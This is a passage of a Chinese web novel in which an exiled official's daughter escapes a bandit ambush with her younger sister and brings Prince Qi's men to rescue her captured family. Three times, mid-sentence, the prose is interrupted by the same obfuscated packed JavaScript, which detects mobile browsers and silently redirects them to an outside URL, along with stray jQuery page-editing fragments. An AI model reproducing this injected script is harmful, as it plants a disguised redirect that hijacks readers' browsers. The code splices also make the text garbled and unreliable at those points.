田大郎推着木推车走前头,田二郎凑过来。小声道:“李家是不是有后手?” 比如提前安排了人在松江城接应之类的? “流放走得那般急,你家早有预料,提前安排了?”顾文卿搭话。 “我们田家小门小户的,没那个门道。李洪文有本事啊,他们这些大族跟我们不同,我不信他们没有门道。再说了,就算李洪文没有提前安排,李家没被牵连的亲族不会帮他们打算?” “难。” 柳家是出了贵妃不假,可松江城是祁王的地盘,当今皇上跟祁王这位皇叔不对付,李洪文,柳家,再有本事能比当今皇上厉害?手能从洛阳伸到松江城去? 顾佑安只问了她爹一句就不说话了,听她爹、她哥跟田二郎说话,她还是觉得不对劲。 她有种直觉,李望峰肯定有事。 “阿萱走不动啦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299820|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿萱走了半个时辰,觉着累,对爹爹伸手要抱。 顾稳肩上背着棉被,杜氏肩上也背着筐,帮着大儿子推车,只顾佑安空手,她蹲下道:“过来,姐姐背你。” 阿萱笑着跑过来,一下趴到姐姐肩上。 顾佑安背起她,小丫头还悄悄问:“阿萱重不重呀?” “不重,阿萱轻着呢。” 顾佑安颠了颠身上的小人儿,阿萱哈哈一笑,被杜氏训斥,叫她闭着嘴,别吸了冷风肚子疼。 阿萱乖乖闭嘴,顾佑安捏捏小丫头的腿,比起她刚穿过来时看到的模样,阿萱瘦了许多了。 其实何止阿萱,他们一家人,田家,苏家,李家,个个都是又黑又瘦,浑身脏污,像个沿街乞讨的乞儿。 一阵阴风吹过,前方右转弯过去,就是一片山林,白雪给远处的山林披上一层雪白的袄,山里也无鸟鸣也无人声,一片静悄悄。 再看近处,白雪掩盖了关道上商队的车辙,深一脚浅一脚,顾佑安生怕不妨神踩车辙里崴了脚,一直低着头走路。 走着,走着,走在前头的差役突然停下脚步,顾佑安不知所以地抬起头来。 前方雪地里突然出现十几个壮汉,一个个脚踩皮靴,头戴皮帽,身披狼皮袄,黑巾蒙面,手里握着一把砍刀,一看就是狠角色。 顾佑安心头一紧,这是遇上劫道的了? 明眼人一看就知道他们是一群身无长物的流犯,他们值得这群盗匪大雪天来劫道? 杜氏和顾文卿丢开木板车,田家也是一样,两家人默默退到一起,背靠背。 “关外初雪日,金银铺满山!李郎君,你答应我们的好处在哪儿?” 李郎君? 众人惊慌的眼神中,李望峰哈哈笑着往前一步:“来者可是青山寨的王大当家的?” “正是我,一个多月以前,道上的兄弟传了话来,说你要带家财投我,如今可算数?” “算数算数,自然算数,我家私藏的金银珠宝就是我的投名状,道上的兄弟都说王当家为人仗义,乃关外第一人,小爷以后就跟王当家的混了,还望王当家不嫌弃。” 李家其他人又是怕又是惊,柳氏颤着声问李洪文:“除了带出来的,咱们家哪里还有金银财宝,老三这孽障要害死咱们,老爷,你快说句话呀。” 李洪文不吭声。 顾佑安看一眼那盗匪,又看李望峰,又看李洪文,顿时明白,李家真的另有家财藏揶,李望峰这个纨绔不知道从哪儿知道了,还借此引来强盗。 顾佑安脑子飞转间,那边差役拔刀跟盗匪对上了,不用盗匪讲,就是顾佑安都看出黄差役是虚张声势。 不过两三句话的工夫,黄差役没吓住对面的盗匪,两边动起手来,那个叫王当家的大喊一声:“兄弟们,这些都是当过大官儿的,都给我抓回去,一个个严加审问,说不得各家都藏了千万家财。” 盗匪们兴奋怪叫着冲上来,田家和顾家落在最后,几乎是毫不犹豫地扭头往后跑。 可盗匪身高体壮,哪里是他们这些流犯跑得过的,跑过那个拐弯,杜氏咬牙推了顾佑安一把:“背着你妹妹往山里跑,娘给你拦着。” “娘!” 顾稳疾声:“听你娘的话,他们求财,我们就是被抓了一时半会儿也死不了,你是聪明孩子,你知道该怎么办。” 田清德跑得喘不过气来,这会儿也不跑了,他也道:“你们的年轻人跑吧,我是跑不动了。” 白氏着急跺脚,被盗匪抓到怎么得了:“别泄气,再跑几步。” 田清德一屁股坐地上,喘着粗气摆手,真跑不动了。 “快走!” 顾佑安明白她爹的意思,也不管了,咬牙背着阿萱往山里跑。她一走,顾文卿和田家两兄弟也分开往山里跑,各跑一条道。 初雪挂在树上,落山林里地上的雪还不厚,顾佑安咬牙往山里跑,跑了一段路后还听到身后盗匪吆喝的声音,过了会儿就听不到了,也不知道是盗匪不稀罕抓两个小丫头,还是爹娘挡住了盗匪。 撑着最后的力气跑到深山里,找到一个山洞躲进去,被吓得说不出话来的阿萱这才张嘴哭:“姐姐,我怕,我要爹娘。” 顾佑安忙捂住她的嘴:“别哭,叫坏人听到了我们都要被抓知不知道。” 阿萱圆溜溜的大眼睛泪光闪烁,吓得忙点头。 顾佑安松开手,阿萱无声落泪,眼泪跟断了线的珠子一般掉,顾佑安把她抱在怀里,叹了口气道:“没事的,没事的,会有办法的。” 阿萱哭了会儿,抹干眼泪,扯着姐姐衣裳:“阿萱饿了。” 饿了,这个好办。 13. 第 13 章 当着阿萱的面,总不能凭空消失又出现,顾佑安把阿萱安顿好,叫她站在原地等。 “姐姐出去找吃的,一会儿就回来,你别乱跑好吗?” 阿萱害怕,不肯一个人留下:“姐姐,我跟你一起。” “你乖,姐姐去找吃的,不能带你,姐姐一会儿就回来。” 阿萱还是害怕,扯着姐姐的衣袖不让走。 顾佑安也没法子,叫阿萱站在原地,她去洞口外头走了一圈,拉了几截枯枝儿堆在洞口,勉强能遮挡遮挡洞口。 “你别出来,姐姐一会儿就回来。” 阿萱泪眼汪汪,张嘴要哭,顾佑安立刻道:“别哭,要吸了冷风,一会儿肚子疼,叫娘知道了,要打你的。” 阿萱连忙捂住嘴,可怜巴巴地瞅着姐姐。 顾佑安无奈,只能尽量安抚她,等阿萱不哭了,她才出去。 不敢让阿萱一个小丫头独自待太久,过了会儿,顾佑安就抱着干草回来,干草里还有几个红薯和芋头。 “姐姐。” 阿萱看到姐姐回来,连忙跑出来,伸手抱住姐姐的腰不撒手。 “阿萱乖乖,让姐姐进去。” 干草放下来,几个土豆和芋头从干草里滚出来,阿萱哇的一声:“姐姐,这是红薯?” “嗯,刚才找干草的时候发现的。” “姐姐,咱们运气好好哦。”阿萱不认识芋头,但是认识红薯,她捧着红薯笑得特别甜。 傻丫头,冰天雪地里哪里来的这些东西哦。唉,索性没有大人在,糊弄糊弄小孩儿吧。 顾佑安在洞里铺上厚厚的干草,叫阿萱坐在上面,她又烧起了火堆。 烧火堆的干柴自然是去外头抱来的,空间里的。 火堆燃起来,暖洋洋的火烘着,身上也不觉得冷了。烧了会儿火,顾佑安把红薯和芋头放火堆底下烘烤。 过了许久,飘过来一丝甜香,阿萱这个馋嘴小丫头一下就闻到了,连忙催促:“姐姐,可以吃了吗?” “还要等一会儿。” 阿萱乖乖等着,不说话。 过了会儿,红薯烤好了,顾佑安扭头叫阿萱过来吃,却发现她坐在干草上抹眼泪。 “怎么了?” “我想娘,我想爹爹,我想大哥,我想白婶婶。” 阿萱年纪虽小,但是她也知道爹娘他们不在了。 “别哭,好好吃饭,明儿我们找爹娘去。” 外面的雪已经停了,顾佑安不会看天色,估摸着这会儿已经半下午了,这会儿下山回去官道上,一是怕劫道的土匪留了人埋伏,不安全,二是怕下山路滑,带着阿萱不好走。 今天且算了,明日再想办法。 “姐姐别去,阿萱怕。”阿萱急忙爬过来,挂在姐姐身上不松手。 顾佑安拍拍她的背道:“不用怕,怕是没用的,事情总要解决。” 阿萱懵懂,一抹眼泪,顺着姐姐的话抽抽噎噎道,含糊问:“要怎么……呀。” 顾佑安给火堆添了一根柴,缓缓道:“咱们解决不了,总有人有法子。” 孩子的情绪来的快去的也快,哄好妹妹,顾佑安问她饿不饿? 阿萱乖乖点头,她饿了。 “那就抹干眼泪,过来吃东西。” “哦。” 从火堆底下扒拉出烤好的红薯和芋头,撕开烤焦的皮,甜香味更加迷人了。 顾佑安把芋头给妹妹:“捧着慢慢吃,小心烫着。” “嗯。” 姐妹俩瞧着瘦,胃口却不小,两个红薯四个芋头,姐妹俩分着吃完了。 吃饱了,阿萱又念叨爹娘,顾佑安叫她不要念:“你守着山洞,姐姐再去找些柴火来,若是柴火不够,晚上要冻坏我们。” “哦。” 顾佑安也不敢走远,出去山洞,躲开阿萱的视线,她一趟一趟拖回去树枝和木疙瘩,估摸着差不多够用了她才作罢。 这时候也快天黑了。 天黑的深山格外恐怖,阿萱不敢一个人待着,一定要躲在姐姐怀里才肯睡,要睡觉时,阿萱又闹着要爹娘,哭了一场。 顾佑安叹气,轻拍着哄睡。 等阿萱睡熟了,顾佑安轻轻把她放在干草上,随即出去洞口,把挡在洞口的树枝移开,比了下洞口的大小,她消失又出现,把买了还不到一年的暗黑版电动汽车塞在洞口。 顾佑安前后转了一圈,大小正合适,说不上严丝合缝,稍大些的野兽肯定也进不去,估计只有野鸡野兔子能从缝隙里钻进去。 打开车门,顾佑安进去车里,里面的车门打不开,只能降下车窗钻进洞里。 随后,顾佑安又搬出前些年跟柚子一块儿去川西时买的帐篷,睡袋等。 帐篷安扎在草棚上,把阿萱放进睡袋里,顾佑安又给火堆添了些柴火,这才躺进睡袋里抱着阿萱休息。 整晚上顾佑安睡的都不踏实,第二天天还未亮,她就起身了,收拾好不能叫人知道的东西,再往火堆上架上柴火,又拿了红薯丢进火堆里烤着。 红薯烤出香味了,阿萱擦擦眼睛,翻身从干草堆里坐起来。 “娘,姐姐。” 喊完人,左右看了圈,没看到熟悉的爹娘,阿萱又委屈了。 “行了,过来吃东西,吃完咱们要下山了。” 阿萱一骨碌爬起来:“去找爹娘吗?” “嗯,我们去找爹娘。” 姐妹俩没什么好收拾的,吃完早食要走,走前,顾佑安把妹妹放在洞口外面左前方,她倒回洞里把火灭了,把干草收起来放空间,这才出去背着阿萱下山。 昨天上山时是咬着牙逃命,那会儿雪不厚,上山的路也算好走,今天下山就不同了。 顾佑安以前没走过山里的雪路,姐妹俩几乎是十步一滑地溜下山,路上摔了好几回,身上的旧棉衣也脏的不能瞧了。 顾佑安根本不在乎这些细枝末节,到了山脚下,她在上山路口处静静站了一会儿,没听到任何异响。前方官道上积着一层雪,也没有人走过的痕迹。 说明,从昨儿盗匪之后,官道上还无人走过。 “姐姐。” 阿萱机警地扭动四处看,不安地动了动胳膊,紧紧搂住姐姐的肩膀。 顾佑安抬脚:“我们出去瞧瞧。” 姐妹俩出现在官道上,官道上白雪茫茫,四下无人,顾佑安松了口气,抬脚往前面走。 拐弯过去,前面就是昨日遇到盗匪的山谷,顾佑安扭头四看,发现差役的四辆木板车被掀翻在官道两边。 是了,盗匪躲在山上,山无二里平,把这些木板车抬上山也只能当木头烧。 除了木板车外,还有被丢下的干草。顾佑安过去翻捡一番,从他们家的捆扎好的干草堆里翻出一个麻布袋,麻布袋里装着一串钱和几日前在驿站买的馒头。 她娘说的,东西要分开藏,干草也无人要,藏些不起眼的东西很合适。 把麻袋丢给背后的阿萱:“拿好了,饿了就自己啃两口。” 阿萱捧着麻布袋,乖乖点头。 顾佑安毫不迟疑,抬脚往前走。 “姐姐,咱们去哪儿?” “去驿站。” 这里前不着村后不着店,若是要求援,只能去离这儿最近的下一个驿站。 他们在上一个驿站落脚时,驿站的驿夫说,若是不下雪,走三日就到下一个驿站了。昨日早上下雪前,他们一直埋头抓紧赶路,顾佑安昨儿就猜,他们或许半日功夫就能到下一个驿站。 路上没停歇,身上也穿得暖,路上吹着寒风,顾佑安也不觉得冷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299821|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走出遇到匪盗的山谷,顾佑安回头看了眼,抬脚又继续往前走。 穿过山谷,绕过一个山头,身后一阵马蹄声由远及近,顾佑安连忙躲到路边林子里,悄悄观察着。 目光落在雪地里留下的脚印上,顾佑安移开眼睛。 后方来的人,看似是一支商队,身高体壮的汉子骑马护在队伍四周,队伍中间两匹马拉着一辆大车,大车上捆着货箱。 打头的人很敏锐,他顺着脚印看向顾佑安躲避的地方。 打头的护卫抬起手,队伍停下来。 顾佑安见状也不躲了,她背着阿萱走出林子里,高声道:“诸位好,诸位可是要去松江城?” “是去松江城,你是谁?” 顾佑安打小长在洛阳,一口官话十分标准,骑在马上接话那人官话就不怎么标准了,经顾佑安出关以来一路上的观察,他的口音正像是这一带的。 说不得,这人就是松江城当地人。 若她猜的对,那这队商队,不是去松江城经商,而是去外地经商,这会儿赶回松江城。 他们若不是松江城人,也不敢下雪天还往松江城走。 对面只回了一句话,顾佑安脑子很快得出结论,当机立断道:“我是从洛阳流放去松江城的罪官之女,昨日我们一行人在山谷处被青山寨的一伙盗匪拦路抢劫,我和妹妹逃出来,这会儿要去松江城报官,还请诸位壮士带我们一程。” 顾佑安话说的又快又密,怕这些人不同意,继续又道:“你们既去松江城,应该知道祁王殿下吧,被抓的一行人中有个祁王殿下的先生,名叫苏光,他也被抓了,那伙人图财害命,必须尽快上报祁王殿下,解救苏大人。” 不等人回答,顾佑安立刻反问几人:“你们可是从南方来?你们去过洛阳否?可知道苏光?苏光曾是祁王还是皇子时的先生,被流放前他官居正三品刑部侍郎。” 出门经商的聪明人,从不会小看荒山野岭遇到的任何一个人,无论是小孩儿还是弱女子。 顾佑安说的这些,不是一个护卫能做主的,刚才回顾佑安话的护卫头子给身边人使了个眼色,那人驱动□□马匹去后面叫掌柜的来。 顾佑安就在原地站着,一步不曾挪动。 那护卫头子笑了笑,有意思,罪官之女嘴皮子溜就罢了,竟有这等胆气。 顾佑安猜的对,这家商队正是松江城人,掌柜的姓韩,韩家是松江城里排在前三的大商户,专门做南北货生意,买卖丝绸和药材。 韩掌柜听说涉及祁王殿下,急忙跑过来,问道:“小娘子说得可真?被抓的真是苏光苏大人?祁王殿下的先生?” 顾佑安闻言松了口气,看来苏光在祁王那儿真有些价值。 韩家商队从苏州回松江城,虽没去过洛阳,路上也听人议论过太湖决堤牵连许多官员,有些官员罪该万死,也有的官员单纯是被当今排除异己,许多聪明人心里都是明白的。 韩掌柜常年在外行走经商,自有他获得消息的门道,苏家的事,他是知道的。 韩掌柜从顾佑安嘴里再三确认消息,随后他道:“青山寨我知道,那王大当家的不敢在松江城一带出没,昨儿应是抓了人就走了。” “那我爹娘他们……” “青山寨打家劫舍只为求财,若是为这个抓的人,苏大人他们这会儿应还是活着的。” 韩掌柜丢下顾佑安姐妹俩,立刻吩咐护卫快马回松江城,去祁王府找人。 等护卫走了,韩掌柜回来盯着顾佑安,道:“小娘子说的话我自然是信的,不过祁王府那儿需要有人交代,劳烦小娘子跟我等走一趟。” 顾佑安知道韩掌柜又想承祁王府的情,又怕担责,所以要把她带走,以防万一。 顾佑安走不动路,也想搭商队的顺风车,求之不得。 14. 第 14 章 韩家的商队走得快,顾佑安抱着妹妹坐在顾家的车架上,半个时辰就到了驿站。 听韩家商队里的人说,这儿距离松江城还有两百多里,大雪天若是全靠走过去那可有的累了,不过骑马很快,若是顺利,最迟也就是晚上,祁王府的人肯定会赶过来。 进了驿站,顾佑安站在廊下,望着这条南来北往的官道。叫他们走断腿的山水迢迢,竟然这么快就要到了。 “天儿冷,顾小娘子就别在这儿站着了,我叫驿夫给二位留了间屋子,无论歇息洗漱都方便。” 驿站只许朝廷的人留宿,出了山海关后,就没那么讲究了,驿站的人愿意担风险多赚点,像韩家这样有点门路的商队,都可以交钱留宿。 韩家名声大,这回又借了祁王府的名号,驿站自然欢迎之至。 顾佑安想到晚上或许要见祁王府的人,她这样脏污着到底不妥当,就谢了韩掌柜的好意,要了两桶热水洗漱。 “韩掌柜既做布匹生意,可卖成衣?我想买两件干净衣裳换洗,免得一会儿冲撞了贵人。” 顾佑安大大方方道:“就是我手里银子不多,贵的我买不起,需便宜些的,请韩掌柜见谅。” 韩掌柜笑道:“哎哟,我们商队只贩卖布匹,成衣可是没有,不过我们商队里有做饭的妇人,她们带着有干净衣裳,我叫人要一身给小娘子穿。说银子就不必了,我还要谢谢小娘子帮我搭上祁王府得线。” 顾佑安点点头,也就不说银钱的事。 热水烧好了,驿夫还抬了两个火盆放屋里。 顾佑安牵着阿萱进屋,关上门,姐妹俩从头到脚痛痛快快洗漱一回,过了会儿,两个妇人在外头敲门。 顾佑安先把阿萱身上擦干,扯了架子上的干巾子把阿萱湿漉漉的头发包起来,又把她塞被窝里,这才去开门。 两个妇人怀里抱着棉衣,张嘴就笑道:“韩掌柜叫我们俩来给小娘子送衣裳,给您的有现成的,不过给你妹妹的倒是没有,我们手脚快,一会儿就给她改一身出来。” 顾佑安让开,请她们进门:“那就麻烦两位了。” “小娘子客气。” 送给顾佑安的是一套半旧的素青色棉袄棉裤,穿在身上长短倒是合适,就是她太瘦了些,不够合身。 “小娘子将就着穿,等到了松江城啊,城里有成衣铺子,去成衣铺子里买,那就便宜多了。” 顾佑安点头道谢。 两个妇人都是利落之人,看了眼阿萱的身高大小,两人一个拆棉裤一个拆棉衣,重新剪了大小,又拿针线缝起来。 两个妇人边忙边说笑,说的都是路上的见闻,说路上碰到哪个书生,扭捏作态,一点都不大气,不如他们关外的男子好。 又说关内的女子长得瘦弱,但凡有点家资的,就更是如此了,为了名声把姑娘家关在家里不见外人,好好的人也给憋坏了。还说不做活,不在外行走,身子骨弱,以后生孩子都没力气。 顾佑安默默听着,给阿萱擦头发,又端了个火盆放在床边烘着,问阿萱冷不冷。 阿萱摇摇头,说不冷,好奇地看那两个妇人。 顾佑安安顿好阿萱后,又擦自己的头发,正听两人说笑,那个改衣裳的妇人突然问顾佑安:“将才听人说,小娘子是从洛阳来?” “嗯,秋天时太湖决堤,涉事官员被砍头,我父是工部郎中,无辜被上官牵连,我们全家跟着我爹流放松江城。” 顾佑安毫不避讳自己是流犯。 问话那妇人听她这般说,也只是笑了笑:“堂上坐的老爷们都是心狠的,你们家没被砍头,可见你爹不是什么坏官,小娘子也不用怕,去了松江城以后好好过。” “正是呢,往前数几年,祁王没去松江城之前,咱们松江城里除开驻军,一半都是流犯,这不算什么。” “祁王定了规矩,流犯只要去松江城啊,先要送去开荒五年,五年期满,就可跟寻常民人一般,买地置屋,买卖纳税,过安生日子。” “小娘子你们这次若是立功了,跟祁王府求个恩典,或许不用去开荒五年,也能跟寻常百姓一般。” “哎,其实开荒也挺好。流犯去了松江城啊,个个都是身无长物,若是去开荒,至少衙门里管吃住,冬天还发棉衣棉裤,不冻着饿着,还能存点工钱,虽然钱不多,也是件好事。” “以前可没这些规矩,祁王殿下来了才有这些规矩呢。” “祁王府仁义,给了许多人活路。” 顾佑安垂眸听着,这两个妇人几次提到祁王和祁王府,看来在祁王治下,松江城的百姓过得并不差。 五年开荒么?顾佑安心想,最好是她爹娘和苏光安安全全被救回来,祁王看在她通报消息的份上,不知是否能免了他们五年开荒。 他们家暂时不缺吃穿,不缺银子,就想有个自由身。 那两个妇人果真是利落的,一个多时辰就改好了适合阿萱穿的棉衣棉裤,顾佑安谢过。 “小娘子不必放在心上,我们掌柜的既吩咐了,我们肯定给做妥当了。” 顾佑安送两位妇人出门,关上门口,顾佑安回头看阿萱,小丫头早就缩在被窝里睡着了。 顾佑安也累,这会儿她睡不着,也不敢睡。 天黑了,松江城的方向还没有人过来。 驿夫送了晚食来,顾佑安把阿萱叫起来吃东西,阿萱坐起来,茫然四顾,随即又哭起来,喊着爹娘。 “别哭,左不过三五日,爹娘肯定就回来了。” 阿萱紧紧抱住姐姐:“我怕。” “不怕的,姐姐一直都在。” 给小丫头穿上改好的棉衣棉裤,姐妹俩吃了晚食,顾佑安叫阿萱待在屋里,她去外面转了一圈,又回来。 外头天黑透了,阿萱又困了,顾佑安坐在床边看着她睡觉,等了又等,外头韩家护卫过来敲门。 顾佑安深吸一口气,起身出门。 祁王府的长史带兵到驿站了。 祁王府的长史姓周,名叫周尘,三十岁出头,圆头圆脸,瞧着和善,看人时一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299822|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼睛格外的利。 顾佑安到驿站大堂时,大堂门外被祁王府的护卫团团围住,举起的火把熊熊燃烧着,把大堂外头照得恍若白昼一般。 大堂里间,桌上摆着高低十几支蜡烛,蜡油燃烧的气味叫屋里空气显得有些闷。 顾佑安进门时,只见韩掌柜微微躬着腰,态度谦逊地跟周长史说前后因由。 韩掌柜说的这些,去祁王府报信的韩家护卫已经说过一回了,周长史早已知晓。 见顾佑安进来,韩掌柜笑着道:“周长史,这位就是顾小娘子,她父亲是前工部郎中顾稳,是跟苏大人一同流放之人。” 顾佑安上前见礼,周长史仍旧坐着,安然受了礼,问道:“刚才韩掌柜说的话你也听到了,你可有何话补充?” 顾佑安垂眸道:“在山海关时,苏大人应是托了人给祁王府送信,不知这大人可收到消息?” “并未。” 都是聪明人,周长史前后一想就知道为何消息传不出山海关的缘由,他对这个并不感兴趣。 “青山寨王大当家的事,你还知道哪些?” 顾佑安道:“那些劫道之人我知道的恐怕不如你们详细,若有何值得一说的,或许是李家跟青山寨的盗匪有牵连。” “哦?” 顾佑安不敢隐瞒,把昨日遇到盗匪时王大当家的跟李家说的那些话,一字一句说了一遍,最后道:“别家我不知,我们顾家和田家,都是出身寒门,我爹和田伯父又不是贪官污吏,家中经营一二十年,所有家资都在洛阳城里的二进院子里了,断不可能还藏有其他金银珠宝。” 顾佑安说她爹不是贪官污吏时,周长史意味不明地轻哼一声。 顾佑安帮她爹争取道:“我爹为官十几载,官声如何,你们自可以去问苏大人。这次我爹被流放,也是无妄之灾,若不是四年前联名举荐……恼了当今,也不会落到如此田地。” 韩掌柜赶紧打断顾佑安的话,道:“周长史是来问青山寨的事,你这小娘子倒是多话。” 周长史倒是不跟顾佑安一个小丫头计较,只道:“受牵连吃了这些苦,有些气也正常。等苏大人救出来,你说的话若是没有虚言,自有你家的好处。” 顾佑安要的就是这句话:“多谢大人。” 青山寨的位置不算什么秘密,周长史问清前后缘由,没有在驿站留宿,当即带兵出发了,走的是南下的路。 韩掌柜站在廊下目送祁王府的人打着火把骑马离开,等人走远了,韩掌柜才扭头对顾佑安道:“我倒是小看了你。” 顾佑安笑了笑,没接话。 刚才她敢说那些话,倒不是她胆子大,是她从韩家商队里这些人嘴里大概猜到了祁王和祁王府的为人处事,才打算试一试。 试错了,偌大的祁王府就算生气,也不会拿她这个流放的小丫头如何。 若是试对了,他们家去松江城后,就算不能跟祁王府搭上关系,靠着这点情分,多少也能得些好处。 索性,她算对了。 15.第 15 章 祁王府的人一走,驿站里就安静下来了,好好歇息一晚,隔天早晨韩家的商队赶马驾车,准备要出发离开。 顾佑安牵着妹妹出门,刚巧撞上韩掌柜,顾佑安跟他问好。 韩掌柜回了句顾小娘子好,随后道:“前日下了头场雪,以后下雪的日子多着呢,趁官道上雪还不厚,我家商队要赶着回松江城,顾小娘子可要同行?” 顾佑安谢过韩掌柜好意,拒绝道:“我家还是流犯要等朝廷安排,况且我爹娘还未回来,我和妹妹要在驿站等他们。” 韩掌柜笑道:“那也好,正巧我也要在这儿等着周长史回来,咱们算相熟,也做个伴。” “韩掌柜不着急回去?”顾佑安有些讶异。 “哈哈哈,商队的货物要紧,要赶着送回去,我却不着急。” 顾佑安打量韩掌柜脸色,顿时明了,这是为了等周长史那儿的消息。韩掌柜本来给祁王府送消息,就是为了跟祁王府牵上线,回去松江城等,不如在这儿守着合适。 顾佑安欠身道:“等我爹娘和苏大人等人平安回来,定要好好感谢韩掌柜一番。” 韩掌柜脸上的笑意顿时深了几分,心里又忍不住感叹,难道洛阳城里官宦人家的小姐,个个都这般聪慧? 顾佑安不是话多的人,跟韩掌柜寒暄两句,就去找驿夫买早食吃。 驿夫给他们姐俩端来两碗煮得稠稠的小米粥,两个鸡蛋,一碟包子,一碟腌白菜。 “两位小娘子若是缺什么尽管叫我等,银子就不必了,韩掌柜已经交待过了,两位小娘子住在驿站的这几日,一应花费他包了。” 驿夫送上早食,这就躬身退下。 韩掌柜这会儿在门外盯着伙计捆货箱,顾佑安也不着急去道谢,带着妹妹坐在堂内吃早食。 阿萱吃得眼睛弯弯,笑眯眯跟姐姐说:“好好吃呀,比咱们家的饭好吃。” 顾佑安笑着摸摸她尖尖的下巴:“你还记得咱们家早食吃什么?” 对大人来说,流放以来的时日虽不长,但是想起流放前在洛阳时的生活,就跟上辈子一般,似乎都给忘了大半了。 阿萱一口粥一口包子,含糊着说:“娘早上喜欢吃煎鸡蛋青菜面,我不喜欢吃青菜,娘说我。” 顾佑安顿时也想起来了,那时她还痴傻呆愣,每当阿萱不吃青菜时,爹就说,孩子不爱吃青菜就不吃嘛,转头叫厨娘把青菜切碎了包成饺子或是馄饨,叫阿萱吃。 顾佑安爱吃青菜的,几乎不怎么挑嘴,就是吃的不多,加上肠胃不好,所以身上不养肉,她爹娘看她长的瘦弱,每回又是唉声又是叹气。 睡梦中虽懵懂,现在想起洛阳生活那十几年,全是爹娘疼爱她的记忆。 “姐姐,这三个包子留着给爹娘,还有哥哥。” 顾佑安回过神来,笑道:“不必留,等爹娘回来了,咱们再叫人送,左右韩掌柜请我们吃。” 阿萱又拿起个包子啃了一口:“姐姐,韩掌柜,好人呐!” 顾佑安忍不住笑,韩掌柜么,虽另有所图,不过给她们姐妹俩雪中送炭了,对她们来说,确实是个好人。 姐俩吃完早食,屋外韩家的商队也出发了,韩掌柜进门来,顾佑安笑着跟韩掌柜道谢。 韩掌柜哈哈一笑,叫她不必放在心上。 顾佑安正想客气一句,韩掌柜道:“顾小娘子,你们一行人从洛阳走来不容易,互相扶持的情谊肯定不是旁人能比的,你跟苏大人关系还好吧。” 顾佑安微微一笑,给出他期望的答案,道:“据我所知,苏大人是个知恩必报之人,我也是。等我爹娘和苏大人回来,韩掌柜搭救之恩,我定然原原本本说给苏大人听。” 韩掌柜哈哈一笑:“倒也不必如此,过犹不及。” 顾佑安笑了笑,点头,表示自己明白了。 顾佑安告辞了,牵着妹妹回屋歇息。 堂内没有其他人,韩掌柜的贴身小厮上前,笑着拍马屁道:“咱们韩家在松江城里也是有名有姓的大户人家,二爷您出身尊贵,何必跟一个流犯客气?” “蠢货,你懂什么。”韩掌柜怒斥道。 小厮微微低头,顿时不敢吭声。 韩掌柜轻哼一声:“蠢东西,你须知人跟人不同,流犯跟流犯也有不同。” 松江城自古以来就是苦寒之地,也就是近一百多年里成了中原王朝的流放之地,松江城里才渐渐多了许多汉人。 有了人口,才有人手开荒,继而吸引来更多的人口,有了商人,有了南北买卖,才渐渐形成了今日的松江城。 在别的地方,许多犯官过得生不如死,而在缺人的松江城里,熬过前五年开荒,但凡有本事有门路的,日后从犯官变成管事儿的小官儿,左右不过十来年。 顾家小娘子送信救了祁王的先生,事情若是成了,他家都不用去开荒五年,说不得几年内就能改换门庭。 韩掌柜是个走南闯北的商人,高低贵贱什么人没见过,以他的眼力自然能看出来这位顾小娘子的聪慧,能教出这样女儿的爹娘,难道会是傻的? 韩掌柜瞥小厮一眼,道:“自己个儿都是苦出身,别还没出人头地,就生出势利眼来了。” “小的不敢。” 不敢什么不敢?韩掌柜看这小厮越发不满意了,蠢货一个,下回出门再不敢带他。 顾佑安倒是不知道韩家主仆几句口角官司,她闲下来了,忍不住想爹娘那边如何了,脑子里一遍一遍地过前日之事,生怕自己想岔了,那盗匪不是求财,而是要他们的命? 他们家已经是流犯了,盗匪要他们的命有何用?说不通。 从头再想,她想的肯定是对的,爹娘应该还好好活着,祁王府的人一定能把爹娘救回来。 再说周长史那边,昨儿晚上摸黑出发去青山寨,今日一早天刚亮,祁王府的官兵已经到青山寨山脚下了。 杀了沿途几个守山放哨的,一行人不声不响地摸到青山寨大门外才被巡逻的盗匪看见。 有心算无心,祁王府的人全灭了青山寨一伙盗匪,除了救出差役及苏、李、田、顾四家人之外,被抓上山的年轻妇人及婆子等一共一百余人。 周长史有心放这些人下山去,这些被污了清白的妇人再不敢回乡,哭哭啼啼求收留。 周长史想着反正松江城也缺人,问她们愿不愿意去松江城开荒,一个二个都忙不迭地说愿意。 顾佑安左盼右盼,从早等到晚,等到天黑了,官道南边传来马蹄声,顾佑安连忙跑去屋檐下等着。 阿萱着急跺脚:“爹娘回来了吗?” 没看到人,顾佑安不敢回答。 韩掌柜跟着跑出来,笑道:“小娘子不必着急,祁王府出来的都是精兵强将,打一伙儿盗匪出不了岔子。” 